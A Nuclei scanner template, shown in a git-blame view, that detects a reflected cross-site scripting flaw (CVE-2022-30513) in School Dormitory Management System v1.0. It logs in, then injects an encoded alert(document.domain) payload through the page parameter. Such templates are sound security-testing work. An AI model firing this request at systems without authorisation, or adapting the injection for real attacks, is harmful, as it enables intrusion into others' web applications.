2022-10-05 17:01:17 +00:00
|
|
|
id: CVE-2022-30513
|
|
|
|
|
|
|
|
info:
|
2022-10-05 19:59:07 +00:00
|
|
|
name: School Dormitory Management - Authenticated XSS
|
2022-10-05 17:01:17 +00:00
|
|
|
author: tess
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
School Dormitory Management System v1.0 is vulnerable to reflected
|
|
|
|
cross-site scripting (XSS) via admin/inc/navigation.php:125
|
|
|
|
reference:
|
|
|
|
- https://github.com/bigzooooz/CVE-2022-30513
|
|
|
|
- https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-30513
|
|
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30513
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
|
|
|
cve-id: CVE-2022-30513
|
|
|
|
cwe-id: CWE-79
|
|
|
|
metadata:
|
|
|
|
verified: true
|
|
|
|
tags: cve,cve2022,xss,authenticated
|
2022-10-05 19:59:07 +00:00
|
|
|
|
2022-10-05 17:01:17 +00:00
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /dms/admin/login.php?f=login HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
username={{username}}&password={{password}}
|
|
|
|
|
|
|
|
- |
|
|
|
|
GET /dms/admin/?page=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
req-condition: true
|
|
|
|
redirects: true
|
|
|
|
max-redirects: 2
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2022-10-05 20:14:32 +00:00
|
|
|
- type: word
|
|
|
|
part: body_2
|
|
|
|
words:
|
|
|
|
- "''; alert(document.domain); s='';"
|
|
|
|
- "School Dormitory Management System"
|
2022-10-05 17:01:17 +00:00
|
|
|
condition: and
|
2022-10-05 20:14:32 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|